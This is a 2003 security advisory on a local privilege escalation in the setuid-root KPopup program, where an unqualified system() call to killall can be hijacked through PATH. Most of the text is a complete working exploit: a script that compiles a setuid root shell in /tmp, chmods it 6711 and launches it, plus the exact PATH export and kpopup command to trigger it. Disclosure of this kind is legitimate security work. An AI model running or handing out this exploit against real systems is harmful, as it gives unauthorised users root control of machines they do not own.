KPopup Allows Gaining of Elevated Privileges (Insecure system())
29 Oct. 2003
Summary
KPopup is "a KDE program for sending and receiving MS Windows WinPopup messages. When package is compiled and install the binary KPopup is installed setuid root it also comes as part of FreeBSD ports collection". A vulnerability in the KPopup allows local users to gain elevated privileges.
Credit:
The information has been provided by b0f www.b0f.net.
This application uses the system() call that is considered to be unsafe, especially on a setuid root binaries. It also contains Format string bugs in the sprintf() function. However, in this advisory b0f will explain how to obtain root privileges from this application by exploiting system(). There is 3 places on the misc.cpp source that use system(). The one we use to exploit this is on line 106.
To exploit this we need to do is make a shell script and call it killall, and place it in the /tmp directory. Here is a script that b0f wrote to exploit the vulnerability: #!/bin/sh
cd /tmp
/bin/cat > shell.c << EOF
#include <stdio.h>
int main()
{
setuid(0);
setgid(0);
execl("/bin/bash", "-bash", NULL);
return 0;
}
EOF
/usr/bin/gcc /tmp/shell.c -o /tmp/shell
/bin/chown root.root shell
/bin/chmod 6711 shell
echo "NOW HERE IS YOUR ROOT SHELL"
/tmp/shell
After you have created the file, place it in /tmp as killall and chmod +x it. Now what we need to do is: export PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin
export PATH=$PATH:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:
Once this is done, all we need to do is run the binary like so: /usr/local/kde/bin/kpopup root shell
In addition, that is it we now have root privileges.